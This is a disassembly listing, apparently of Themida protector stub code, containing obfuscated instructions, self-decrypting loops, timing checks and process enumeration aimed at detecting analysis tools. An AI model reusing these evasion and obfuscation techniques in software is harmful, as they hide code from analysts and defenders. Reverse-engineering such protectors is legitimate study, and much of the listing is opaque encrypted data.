		adc	bl, [esi+38h]
		xchg	eax, edi
		nop
		pop	eax
		aam	8Bh
		retn	89F8h
; ---------------------------------------------------------------------------
		lea	edi, [ecx+6606A805h]
		xor	edx, 85C7A118h
		imul	edx, [eax+ebp*4], 6F9C06h
		add	[edx+0], ch
		push	edi
		call	sub_5A19A8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A19A8	proc near		; CODE XREF: Themida_:005A19A0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5A19A8	endp

; ---------------------------------------------------------------------------
		dd 0CB83E112h, 8BBCE889h, 0A8349595h, 0BD85C706h, 6A80Bh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 864DC357h, 66F7C001h, 0B5FFC38Bh
		dd 6A80E01h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	4FC35646h, 0BE66BA76h, 95FF2C4Fh, 6A820DDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A9C35545h, 191B8763h
		dd 6A83F4h, 1B3195FFh, 0C08B06A8h, 0BC6049EBh, 5DA888A2h
		dd 8266115Eh, 0DC4D84A6h, 2700CBECh, 0EA757DF5h, 0A5F925FBh
		dd 78B7871h, 168A4BC5h,	6055D774h, 0C68A9BA4h, 1F2133E8h
		dd 39654041h, 341B3413h, 0FF75E063h, 0D4DA76AFh, 98AC3406h
		dd 0E40B160Bh, 2C5D777Fh, 161E0B1Dh, 802A2FB1h,	3DF36D6Dh
		dd 4C07797Fh, 0FF7B053Bh, 54FDD47Eh, 0B180978Bh, 1032E98Bh
		dd 90D079FFh, 721C7D0Bh, 50014986h, 0F93DD53Dh,	3E32D401h
		dd 1F263D6Ah, 9146D43Bh, 0DF5F2048h, 8E17F34Bh,	1CB69244h
		dd 0A5938B62h, 1C683566h, 1DD135BAh, 0F653F7B8h, 8F32D6CBh
		dd 0C73E5034h, 0E4DBD43Bh, 0A432D43Bh, 0E0945A86h, 0C1B124B8h
		dd 389AC31Eh, 8B6DB3Bh,	532D43Bh, 0C5F83DF0h, 6854D43Bh
		dd 91CBB4EBh, 7F3D8B6Bh, 7C32D43Bh, 0BBBFB55Ah,	199F5491h
		dd 1FF95F5Dh, 35B9B25Bh, 0EDDA845Ah, 0BC32D43Bh, 787417E4h
		dd 9486CD60h, 0A2F4921Ah, 46FD5F2Fh, 0DF32BEABh, 0C732D7D3h
		dd 206AF43Bh, 0D5765D63h, 0DC76553Fh, 7C32CD3Fh, 0FD62943Bh
		dd 395E67D4h, 53D1453h,	0C732D43Eh, 0F142B985h,	7DB7593Bh
		dd 923479BBh, 7FDA823Bh, 1E32D43Bh, 966C1765h, 0E36F04Fh
		dd 0D136F07Fh, 0A532D43Bh, 9EA1176Dh, 4BE55599h, 2C54C2B6h
		dd 668C866Bh, 1059E88Ah, 0D5F85F0Ah, 0E3365D63h, 0E3355234h
		dd 723DD43Bh, 0F832D43Ah, 49A72BCEh, 0B5347C21h, 946387FBh
		dd 0C6C8BC0h, 6F2C0D86h, 0EA47D43Dh, 0DCDB69B8h, 8C32D293h
		dd 0F7618422h, 3A486CFBh, 9ABBD43Bh, 899AD38Eh,	669E49B6h
		dd 30CDD291h, 4CB18C60h, 0FE9AF9D2h, 2C25A03Bh,	3A486C68h
		dd 9ABBD43Bh, 899AD38Eh, 59A949B6h, 30CDD291h, 0F6DB8C60h
		dd 6E32D43Bh, 4C7F44A9h, 0B460D680h, 0A83D8DF7h, 4F25FF5h
		dd 0C73E3DE8h, 94DDD43Bh, 1796E976h, 0B3970F96h, 0E1BF9F11h
		dd 389F54AFh, 1F325F34h, 0ABFD43Bh, 0C19FBAC9h,	442E6A5Bh
		dd 7A54E0ABh, 28CDB5F9h, 9467D451h, 3E32D438h, 42F1891Bh
		dd 8B16B8B2h, 0C31690BAh, 0E332D421h, 71F1817Eh, 31D50AA6h
		dd 0BC3915FFh, 3E6E5034h, 7952D43Bh, 0C3F714BAh, 68AF595Ah
		dd 89347C74h, 0F2DA843Bh, 0D832D43Bh, 0F56A1763h, 0BF36F07Fh
		dd 436F07Fh, 0CF32D43Bh, 6C19176Bh, 3C10E65Eh, 0F28A64B5h
		dd 732D43Bh, 2B32BED8h,	3E32D7D3h, 0DC6DF43Bh, 0AB4E5D64h
		dd 0E376553Fh, 0E332CC3Fh, 3265933Bh, 57C611CDh, 95B3B2EEh
		dd 0A3BF64EFh, 199F54A7h, 6767D451h, 0C732D438h, 0BEF1891Bh
		dd 0F516B8B2h, 0FC1690BAh, 7C32D422h, 0BCF1817Eh, 7D84CAFAh
		dd 7D85559h, 4A29ACF0h,	4E5C26BEh, 0A032BE3Dh, 0F832D7D3h
		dd 0BF6BF43Bh, 1A7E5D62h, 3B76553Fh, 8F32CF3Fh,	463953Bh
		dd 0C8E621B7h, 7C6C7515h, 4F3D04C4h, 73F2DFECh,	3E3288BFh
		dd 4E32BE3Bh, 8F32D7D3h, 46BF43Bh, 0C77E5D62h, 0D576553Fh
		dd 0F832C23Fh, 0BF63953Bh, 87EAF02Bh, 371589D9h, 0C09D49B6h
		dd 703DD293h, 0E3336CF3h, 0F158D43Bh, 0F8313C6Eh, 2112D43Bh
		dd 52BB89F8h, 5BB3D01Fh, 8F2FD01Fh, 9277D43Bh, 363DCBF8h
		dd 6404DCA2h, 75A065Ah,	0B38CB2D8h, 9FAF5933h, 9E3479BBh
		dd 5B69AF1h, 35B75914h,	0EC347955h, 0F132D1BFh,	2EB3B23Bh
		dd 0ACCD3A40h, 0FE398D6Dh, 1F205034h, 454D43Bh,	68AF59F1h
		dd 5B347C74h, 0F132D438h, 0AF8037C4h, 0F68F5978h, 0B33479BBh
		dd 0B2B120B6h, 0D34F6C3Dh, 42015E70h, 0E59ACDC6h, 0BFF31B10h
		dd 9F54A7A3h, 67D45119h, 32D43867h, 0F1891BC7h,	16B8B2BEh
		dd 1690BAF5h, 5E983FCh,	0C08BA4F3h, 8BC38BFCh, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 5A1A1A5Ah, 0D9BD83FCh, 6A81Eh, 0BD830975h, 6A82DE9h
		dd 50197400h, 0B8C08B53h, 47Ah,	0FD58589h, 9D8D06A8h, 6AAA213h
		dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h,	47Ah, 0FD58589h
		dd 9D8D06A8h, 6AA9EB4h,	585BD3FFh, 53006AF9h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0CB8B660Ah
		dd 3CE9C08Bh, 1, 4Eh dup(0)
		dd 83000000h, 0A821C5BDh, 840F0106h, 5B7h, 0A1B86660h
		dd 85C66148h, 6A815D5h,	0F8D0F43h, 0E9000000h, 0Ah, 222462D8h
		dd 33F04211h, 2B6878C9h, 0FE97DAAh, 0B8Ch, 8B666000h, 850FF8h
		dd 61000000h, 0DE243481h, 0E905D87Ah, 0Eh, 64844FC0h, 0E783DD74h
		dd 6CCC8354h, 0B5FFF909h, 6A80F95h, 18A0Fh, 8DF90000h
		dd 0AB697185h, 0AE906h,	3F3A0000h, 737795D4h, 5CB6F09Fh
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 89F950C3h, 0A832A985h, 0BB666006h, 0BE6695F5h
		dd 0C6614DACh, 0A815D585h, 6A5006h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 24F2F9C3h
		dd 0C8C0Fh, 850F0000h, 6, 8B0Fh, 4E80000h, 56000000h, 50A8ADADh
		dd 5E516052h, 0F61C88Ah, 76BA6031h, 0F08F410h, 80h, 585A6100h
		dd 5E950h, 3EDB0000h, 8BA8461Bh, 50042444h, 6870F52h, 50000000h
		dd 5A310F52h, 60310F58h, 880Fh,	5A610000h, 50008B58h, 10E952h
		dd 1E760000h, 8406A45Dh, 0F9A08F2Dh, 0AEBB4C8Ah, 310FD6E0h
		dd 9E9h, 5075C300h, 46412D0Eh, 585AAFE6h, 4244489h, 66605250h
		dd 5250DA8Bh, 585A310Fh, 50310F61h, 8D0F52h, 0F000000h
		dd 5A616031h, 58585A58h, 95B5FFF8h, 6A06A80Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0ABD1C351h, 14E97Bh,	70900000h, 0C6D9A02Fh, 58729AFDh
		dd 0C1C1F46h, 0C4705FE2h, 8A6074FEh, 3820FCBh, 66000000h
		dd 0F61C88Bh, 18Fh, 858DF900h, 6AB6971h, 7E9h, 25067700h
		dd 0F4F80246h, 6AD0FFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 3A8D9AC3h, 850FDA07h, 7,	1860Fh
		dd 89F50000h, 0A80EB985h, 8B666006h, 0C86CBBD6h, 0E8616404h
		dd 4, 0F08FA82Fh, 8B6AB260h, 505061DEh,	68A0F52h, 0F000000h
		dd 8Dh,	0F310F00h, 68Bh, 0F525000h, 5A585A31h, 24448B58h
		dd 13810F04h, 0E9000000h, 0Eh, 0DB2B4F4Dh, 0C784504Bh
		dd 78630C4Bh, 8BE13Dh, 11880Fh,	0E9600000h, 8, 78DEB417h
		dd 83F2DEEEh, 89615857h, 0E9042444h, 7,	0ABA1A5A9h, 58B982EBh
		dd 61D38B60h, 0F98B6660h, 0FF61E9B2h, 0A80F95B5h, 8850F06h
		dd 0F000000h, 280h, 0F8616000h,	6971858Dh, 860F06ABh, 10h
		dd 0BE9h, 0A3462400h, 9E541493h, 7A5C8561h, 6AD0FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 1B77CDC3h, 7E9h, 696D1700h, 898A305h, 12E9h,	0C9FDEF00h
		dd 27949252h, 0D1754A99h, 4CB49D86h, 89C76D3Dh,	0A8018185h
		dd 0EE906h, 0A0560000h,	0E51CC6C6h, 0F02B76CEh,	0AA60DBE2h
		dd 6E9h, 445FD600h, 0C6DD025Dh,	0A815D585h, 6A5006h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9706BC3h, 0Eh, 91106F11h, 5E6EB632h, 52BD513Ch, 0AE9FAFEh
		dd 0B0000000h, 98ABC025h, 2DD2E4C0h, 133168DDh,	52509A79h
		dd 6800Fh, 810F0000h, 0
		dd 8E9310Fh, 0B8000000h, 4DC579B4h, 5AAAC813h, 24348158h
		dd 0DE5CF67h, 0F9B5FFF9h, 0F806A831h, 3AC3858Dh, 6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0C810D0C3h, 6660A621h, 4444E081h, 0F78CBE66h, 0FD0FF61h
		dd 1584h, 61606000h, 0CE9h, 0D509E000h,	0D451F573h, 85C07F17h
		dd 858961F5h, 6A814C1h,	0C8B70F60h, 0DE9h, 79917900h, 82975AB8h
		dd 0A3867FADh, 0E9617F53h, 19Fh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 17h, 59C35545h, 50EDDE23h, 52505250h
		dd 310F5250h, 310F585Ah, 830Fh,	585A0000h, 5250310Fh, 310F6160h
		dd 820Fh, 585A0000h, 2C89585Ah,	0EC8BF924h, 0C8D0Fh, 840F0000h
		dd 6, 840Fh, 0C4830000h, 6660F5FCh, 305ED881h, 42BDF081h
		dd 606146E8h, 68D0F60h,	81000000h, 0A695DE9h, 0D68B664Eh
		dd 0E861h, 815A0000h, 0AD8A91EAh, 0FC45C706h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [edx+6A821C5h], 1
		jz	loc_5A2551
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+6A832A9h]
		pop	edx
		mov	[edx+6AD84AAh],	eax
		lea	ebx, [edx+6AD84AEh]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+6A80EB9h]
		pop	edx


loc_5A24E1:				; CODE XREF: Themida_:005A250Bj
					; Themida_:005A253Fj
		push	edx
		lea	ebx, [edx+6AD84AEh]
		push	ebx
		push	dword ptr [edx+6AD84AAh]
		call	dword ptr [edx+6A814C1h]
		pop	edx
		or	eax, eax
		jz	short loc_5A254A
		lea	ebx, [edx+6AD84AEh]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5A2505:				; CODE XREF: Themida_:005A2515j
		cmp	ecx, 104h
		jz	short loc_5A24E1
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5A2505
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+6A80305h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+6A80305h]
		push	eax
		call	dword ptr [edx+6A80181h]
		pop	edx
		or	eax, eax
		jnz	short loc_5A24E1
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5A2551
; ---------------------------------------------------------------------------


loc_5A254A:				; CODE XREF: Themida_:005A24F8j
		mov	dword ptr [ebp-4], 0


loc_5A2551:				; CODE XREF: Themida_:005A24B3j
					; Themida_:005A2548j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		jo	loc_5A256B
		pusha
		xor	edi, 6985CDC8h
		mov	dx, 2BBFh
		popa


loc_5A256B:				; CODE XREF: Themida_:005A2559j
		push	0
		push	edx
		call	sub_5A2576
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A2576	proc near		; CODE XREF: Themida_:005A256Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5A2576	endp

; ---------------------------------------------------------------------------
		dec	edx
		adc	ebx, [edi+7Bh]
		stosb
		stosb
		jmp	loc_5A259D
; ---------------------------------------------------------------------------
		db 70h,	6Ch, 2Dh
		dd 6CBDAC7h, 92383331h
		db 0F2h
; ---------------------------------------------------------------------------


loc_5A259D:				; CODE XREF: Themida_:005A258Cj
		jnb	loc_5A25B7
		pusha
		jmp	loc_5A25B0
; ---------------------------------------------------------------------------
		db 0C5h, 0E8h, 48h
; ---------------------------------------------------------------------------
		setalc
		push	eax
		stc
		pop	edx


loc_5A25B0:				; CODE XREF: Themida_:005A25A4j
		jns	$+6
		popa


loc_5A25B7:				; CODE XREF: Themida_:loc_5A259Dj
		mov	edx, edx
		call	sub_5A25C4
		icebp
		ficom	word ptr [ebx]
		xchg	eax, ebx
		test	bl, al

; =============== S U B	R O U T	I N E =======================================



sub_5A25C4	proc near		; CODE XREF: Themida_:005A25B9p

; FUNCTION CHUNK AT 005A2688 SIZE 0000000E BYTES

		mov	di, 0FB55h
		pop	ebx
		mov	dx, cx
		add	ebx, 5A7Ah
		ja	loc_5A25E2
		pusha
		mov	bl, al
		jz	$+6
		popa


loc_5A25E2:				; CODE XREF: sub_5A25C4+Ej
		push	166Dh
		mov	dx, 0E11Fh
		pop	ecx
		mov	edx, edi
		push	dword ptr [ebx]
		jmp	loc_5A2606
; ---------------------------------------------------------------------------
		db 3Dh,	2Dh, 6Eh
		dd 0B36E854Bh, 0F605BA3Dh, 22F37606h
		db 96h,	0E2h
; ---------------------------------------------------------------------------


loc_5A2606:				; CODE XREF: sub_5A25C4+2Cj
		pop	eax
		sub	eax, 2D51097Ch
		mov	dx, 45E3h
		xor	eax, 922A38Eh
		jmp	loc_5A2627
; ---------------------------------------------------------------------------
		dd 6F47F624h, 40ABA8F6h
; ---------------------------------------------------------------------------
		das
		xor	ch, ch


loc_5A2627:				; CODE XREF: sub_5A25C4+53j
		add	eax, 240EB497h
		jo	loc_5A2634
		cmc


loc_5A2634:				; CODE XREF: sub_5A25C4+69j
					; sub_5A25C4+79j
		mov	[ebx], eax
		jmp	loc_5A2643
; ---------------------------------------------------------------------------
		pop	ebp
		pop	es
		ja	short loc_5A2634
		dec	ebp
		retn
; ---------------------------------------------------------------------------
		db 0ECh, 0E0h
; ---------------------------------------------------------------------------


loc_5A2643:				; CODE XREF: sub_5A25C4+72j
		sub	ebx, 763C98E7h
		add	ebx, 763C98E3h
		mov	dx, di
		dec	ecx
		jnz	loc_5A2669
		add	si, 6E23h
		jmp	loc_5A2688
; ---------------------------------------------------------------------------
		cmpsd
		sbb	eax, 0D61C29DAh


loc_5A2669:				; CODE XREF: sub_5A25C4+8Fj
		call	near ptr loc_5A2673+1
		push	39DDBAA5h


loc_5A2673:				; CODE XREF: sub_5A25C4:loc_5A2669p
		fisttp	dword ptr [ebx+72E95FF3h]
sub_5A25C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 0E683A65Bh, 13F65802h, 1CD4284Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A25C4


loc_5A2688:				; CODE XREF: sub_5A25C4+9Aj
		call	loc_5A2696
		call	dword ptr [edx+esi*2-3DF9C57Eh]
		in	eax, dx
		pop	ss
; END OF FUNCTION CHUNK	FOR sub_5A25C4


loc_5A2696:				; CODE XREF: sub_5A25C4:loc_5A2688p
		pusha
		mov	bx, cx
		adc	cl, 0F1h
		popa
		pop	edx
		call	sub_5A26B4
		setalc
		mov	eax, ds:0FA874C36h
		pop	ds
		mov	al, ds:68EE5A29h
		fsubr	dword ptr [edi+51h]
; ---------------------------------------------------------------------------
		db 8Eh

; =============== S U B	R O U T	I N E =======================================



sub_5A26B4	proc near		; CODE XREF: Themida_:005A269Fp
		mov	edi, 46871567h
		pop	edi
		add	edx, 62B6h
		stc
		sub	esi, esi
		push	eax
		mov	ebx, esi
		pop	ecx


loc_5A26C7:				; CODE XREF: sub_5A26B4+73j
		mov	eax, [edx+esi]
		or	bh, 95h
		sub	eax, 48B21B6Ah
		sbb	bh, 7Dh
		add	eax, 7F371621h
		mov	bx, dx
		add	eax, 7991CC30h
		mov	ebx, 522D21A5h
		push	eax
		stc
		pop	dword ptr [edx+esi]
		jnz	loc_5A2703
		jmp	loc_5A2703
; ---------------------------------------------------------------------------
		dw 0EEA5h
; ---------------------------------------------------------------------------
		inc	ecx
		cmp	dword ptr [ebx], 144F505Ch


loc_5A2703:				; CODE XREF: sub_5A26B4+3Bj
					; sub_5A26B4+41j
		mov	ebx, 152F9145h
		sub	esi, 4
		jmp	loc_5A2721
; ---------------------------------------------------------------------------
		mov	esi, 37DCBEF5h
		dec	ebx
		pushf
		stosd
		db	64h
		sub	eax, 8DA54DEFh
		or	esi, [ebp-58h]


loc_5A2721:				; CODE XREF: sub_5A26B4+57j
		cmp	esi, 0FFFF9DE8h
		jnz	loc_5A26C7
		mov	bh, 48h
		lea	ecx, [ebp+6AD8E0Eh]
		push	0
		push	edi
		call	sub_5A2740
		and	[edi-3Dh], bl
sub_5A26B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A2740	proc near		; CODE XREF: sub_5A26B4+84p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5A2740	endp

; ---------------------------------------------------------------------------
		movsb
		mov	[ebp+6A8150Dh],	ecx
		mov	[ebp+6A805B9h],	ecx
		jns	loc_5A276B
		jz	loc_5A276B
		mov	esi, eax


loc_5A276B:				; CODE XREF: Themida_:005A275Dj
					; Themida_:005A2763j
		mov	dword ptr [ebp+6A81469h], 5968h
		mov	edx, esi
		mov	dword ptr [ebp+6A80BBDh], 0
		push	0
		push	ebp
		call	sub_5A278C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A278C	proc near		; CODE XREF: Themida_:005A2784p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5A278C	endp

; ---------------------------------------------------------------------------
		dd 0FE1E630h, 7E987h, 5FFC0000h, 9AED572Ah, 0FDB5FF42h
		dd 6A06A805h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 4A85C350h, 2607D6E9h, 8E95AC1h
		dd 0D2000000h, 0D5F975E2h, 0FF83FA23h, 0A820DD95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0EF79AEF2h, 9EC10299h, 95896244h, 6A819CDh, 95FF006Ah
		dd 6A81B31h, 7AEBC08Bh,	106CA522h, 0F99904D4h, 0D647B7A1h
		dd 332D20E5h, 0BB35AF54h, 9B8C9911h, 0B8F37412h, 254D6F84h
		dd 1AC4CC5Bh, 1659B264h, 11784779h, 42EA02B8h, 469CB89Bh
		dd 6120C96Bh, 0E471F77h, 0C576C0FAh, 80629C74h,	74549A67h
		dd 0E496CC4Dh, 58AF858h, 8C175B06h, 0C72C8AD9h,	81CFBE3h
		dd 5B1BF9C3h, 82DCBB2Ah, 49D6E374h, 7A839A14h, 804D6034h
		dd 76F86458h, 744B92Dh,	0C8E95674h, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 8E29000Ch, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0AD9065EDh, 85C76006h
		dd 6AD8FB2h, 0
; ---------------------------------------------------------------------------
		cmp	word ptr [esi],	0A166h
		jnz	loc_5A2A9E
		mov	dword ptr [ebp+6AD8FB6h], 6
		jmp	loc_5A2AC2
; ---------------------------------------------------------------------------


loc_5A2A9E:				; CODE XREF: Themida_:005A2A89j
		lea	eax, [ebp+6AD8FBAh]
		push	eax
		lea	eax, [ebp+6AD900Ah]
		push	eax
		push	esi
		push	0
		call	sub_5A2AD1
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+6AD8FB6h],	eax


loc_5A2AC2:				; CODE XREF: Themida_:005A2A99j
		popa
		add	esi, [ebp+6AD8FB6h]
		mov	eax, [ebp+6AD8FB2h]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A2AD1	proc near		; CODE XREF: Themida_:005A2AAFp

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_6AD8FAA	= dword	ptr  6AD8FB2h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5A2AFE
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5A2B0A
; ---------------------------------------------------------------------------


loc_5A2AFE:				; CODE XREF: sub_5A2AD1+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5A2B0A:				; CODE XREF: sub_5A2AD1+28j
		push	ebx
		push	esi
		push	edi


loc_5A2B0D:				; CODE XREF: sub_5A2AD1+91j
					; sub_5A2AD1+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A2B20:				; CODE XREF: sub_5A2AD1+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AD911Ch
		lea	ebp, [ebp+6AD8F92h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A2B4D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A2B20


loc_5A2B4D:				; CODE XREF: sub_5A2AD1+6Bj
		cmp	cl, 0Bh
		jz	loc_5A2BAA
		cmp	al, 66h
		jnz	loc_5A2B8B
		cmp	[ebp+var_5], 0
		jnz	loc_5A2B0D
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5A2B83
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5A2B0D
; ---------------------------------------------------------------------------


loc_5A2B83:				; CODE XREF: sub_5A2AD1+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5A2B8B:				; CODE XREF: sub_5A2AD1+87j
		cmp	al, 67h
		jnz	loc_5A2B0D
		cmp	[ebp+var_6], 0
		jnz	loc_5A2B0D
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5A2B0D
; ---------------------------------------------------------------------------


loc_5A2BAA:				; CODE XREF: sub_5A2AD1+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A2BD6
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A2BDB
; ---------------------------------------------------------------------------


loc_5A2BD6:				; CODE XREF: sub_5A2AD1+E4j
		movzx	edi, al
		shr	edi, 1


loc_5A2BDB:				; CODE XREF: sub_5A2AD1+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AD91D4h
		lea	ebp, [ebp+6AD8E92h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5A2D5D
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A2CA1
		dec	ecx
		jz	loc_5A2C84
		dec	ecx
		jnz	loc_5A2CF4
		cmp	[ebp+var_2], 0
		jnz	loc_5A2CF0
		cmp	[ebp+var_5], 0
		jz	loc_5A2C63
		mov	byte ptr [ebp+arg_0+3],	2


loc_5A2C63:				; CODE XREF: sub_5A2AD1+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AD9260h
		mov	[ebp+arg_6AD8FAA], 1
		pop	ebp
		jmp	loc_5A2CF4
; ---------------------------------------------------------------------------


loc_5A2C84:				; CODE XREF: sub_5A2AD1+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5A2CCE
		cmp	[ebp+var_5], 0
		jz	loc_5A2CCE
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5A2CCE
; ---------------------------------------------------------------------------


loc_5A2CA1:				; CODE XREF: sub_5A2AD1+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5A2CE7
		cmp	[ebp+var_5], 0
		jz	loc_5A2CD6
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A2CCE
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5A2CCE:				; CODE XREF: sub_5A2AD1+1B7j
					; sub_5A2AD1+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5A2CF4
; ---------------------------------------------------------------------------


loc_5A2CD6:				; CODE XREF: sub_5A2AD1+1DEj
		cmp	dl, 5
		jnz	loc_5A2CF4
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5A2CF4
; ---------------------------------------------------------------------------


loc_5A2CE7:				; CODE XREF: sub_5A2AD1+1D4j
		cmp	dl, 6
		jnz	loc_5A2CF4


loc_5A2CF0:				; CODE XREF: sub_5A2AD1+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5A2CF4:				; CODE XREF: sub_5A2AD1+174j
					; sub_5A2AD1+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5A2D22
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5A2D04:				; CODE XREF: sub_5A2AD1+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A2D04
		mov	esi, edx


